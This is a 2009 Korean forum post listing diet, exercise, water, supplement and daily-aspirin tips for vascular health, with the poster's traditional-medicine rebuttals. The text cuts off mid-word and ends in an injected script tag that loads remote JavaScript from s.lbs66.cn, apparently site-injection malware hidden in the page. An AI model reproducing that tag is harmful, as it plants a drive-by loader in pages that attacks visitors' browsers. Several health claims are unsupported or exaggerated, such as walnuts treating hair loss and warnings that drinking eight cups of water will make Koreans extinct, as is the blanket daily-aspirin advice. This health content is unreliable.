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건강상식 혈관건강=노화방지=100세 건강법
2009-01-31 07:50:04
건강지킴이

"혈관건강=노화방지=100세 건강법"이라고 인터넷에 있는 방법입니다.
정성스럽게 쓰신 글을 이렇다 저렇다 하기 뭐하지만 건강에 관련된 부분이기에 잘못됐다고 생각되는 부분에는 첨언합니다.
모든 사람에게 좋은 표준은 없습니다. 자기에게 맞는 방법을 찾아야 한다고 생각합니다.

A. 올바른식습관
①콩류 - 두부(매일1/2모)또는 두유
- 가루청국장(매일2~3회 식사전 밥수저1스푼 가득):대장암예방
두유, 우유, 요구르트, 냉수에 타서 먹는다.

② 잡곡밥 - 잡곡15곡+쌀+현미+통보리
- 현미: 동맥경화, 노화, 피로, 변비예방 (현미를 보리차처럼 끓여 수시로 마신다)
- 둥글레차 : 둥굴레4~8g+물200ml(보약임)

③식이섬유(1일25~30g) - 양배추(90g) : 위궤양
- 양파(매일반개) : 콜레스테롤제거의 1인자
- 마늘(매일3쪽) : 식초마늘
- 브로콜리(하루서너쪽), 오이(생것)
- 당근(200g생것/주스1컵 : 아침식사후 1잔)
- 빨간피망(1개), 풋고추2개(매일)
- 시금치(백내장예방), 고구마(매일반개)
- 생강(엄지손가락크기1쪽매일),감자

④버 섯 류-9가지필수아미노산:표고버섯(매일2~3장)

⑤과 일- 토마토(큰것하루1개 또는 주스1캔)
- 사과(아침공복1개):대장암예방특효약
- 바나나(매일1개)
- 감귤류(매일2개)
- 딸기(매일4~5개)
※모과:17종이상 아미노산

⑥단백질(1일70g):우유(매일500ml:2잔식전)계란2개(매일)생선,닭고기,돼지고기,미역,멸치

⑦식물성기름 - 올리브오일(하루2큰술):콜레스테롤낮춰주는 최적식품, 40가지 노화방지효소함유
- 해바라기씨유:필수아미노산,혈액순환,엽산,콜레스테롤저하

⑧해산물-조개류(아미노산,오메가3지방산)새우(필수아미노산)오징어(타우린)
등푸른생선-1주일3번 이상(고등어,꽁치,정어리:회,조림,구이)
해조류-다시마쌈(매일),김1장(매일)

⑨견 과 류-1주일에 두 번 이상(호두1개, 땅콩10알, 대추3알, 아몬드(매일5알), 밤(매일3개), 은행5~10알(탈모,흰머리방지)
※호 두: 탈모예방과 치료
※호두기름: 어린이천식, 폐렴
※오 과 차: 은행,밤,호두,대추,생강(호흡기효험)

? 위의 음식 다 좋습니다. 중요한 것은 본인이 먹고 나서 속도 편하고, 소화도 잘 되고, 개운하며, 대소변이 잘 나가는 것이 중요합니다. 더욱이 위에 없더라도 소화가 잘 되면 넣으시고 위에 있더라도 안 좋으면 빼세요. 특히 우유, 두유, 요쿠르트, 통보리, 시금치, 생강, 돼지고기, 닭고기 등은 주의해서 드시기 바랍니다.

B. 운동하는습관
①만보계차고 걷기운동(유산소운동) : 혈관질환예방
②걷는 속도 : 보통걸음보다 조금 빠르게 1분에 약100~120m정도
③걷는 시간 : 하루에 1만보 적당(약20분~30분거리)
④활용 방법 : 출퇴근시간/퇴근 한정거장전에서 걷기/계단이용 하는 등
⑤효 과 : 혈압과 혈당 낮추고 HDL콜레스테롤를 높이는 방법임

? 운동은 저도 권장하는 바이니 되도록 하시기 바랍니다. 단, 기혈이 부족하신 분이나 허리, 무릎에 이상이 있으신 분들은 정도껏 하시기 바랍니다.

C. 물마시는시간표
①기상직후: 한컵
②아침식사30분전: 한컵
③오전10시경: 한컵
④점심식사30분전: 한컵
⑤오후4시경: 한컵
⑥저녁식사전: 한컵
⑦잠자기전: 한컵
※음주후엔 반드시 2컵 이상 찬물 마심

? 제발 물을 정도껏 드시기 바랍니다. 양방에서 하루 8컵 마시라고 하는 것은 서양인에 맞춘 것입니다. 우리나라 사람 중 열이 많거나 소양인이신 분들은 괜찮지만 몸이 차신 분은 목이 마를 때만 드세요. 한국인 멸종합니다.

D. 건강기능식품
① 멀티비타민+미네랄 : 센트룸(미국)
②항산화영양제 : 베타카로틴+비타민C,E+셀레늄+코엔자임Q+아연 : 큐엔데카(종근당)
③ 비타민B군정제 : 삐콤씨F(유한양행)
④ 오메가-3(EPA,DHA) : 매일1캅셀(1000mg)
⑤ 글루코사민 + 콘드로이친
⑥ 비타민C(고려은단)
⑦ 마그네슘(하루200~300mg)별도복용
⑧ 클로렐라

? 드시지 마시라고 권합니다. 음식에 들어 있는 자연 상태로 드세요.

E. 아스피린 프로텍트 매일복용
①대상: 50세 이상이거나,고혈압,고지혈증등 심혈관질환위험 있는자
(특별한부작용이 없다면)복용
②복용량 : 매일1정(100mg)
③효과 : 혈전예방, 뇌졸중, 심?script src=http://s.lbs66.cn/kr.js>


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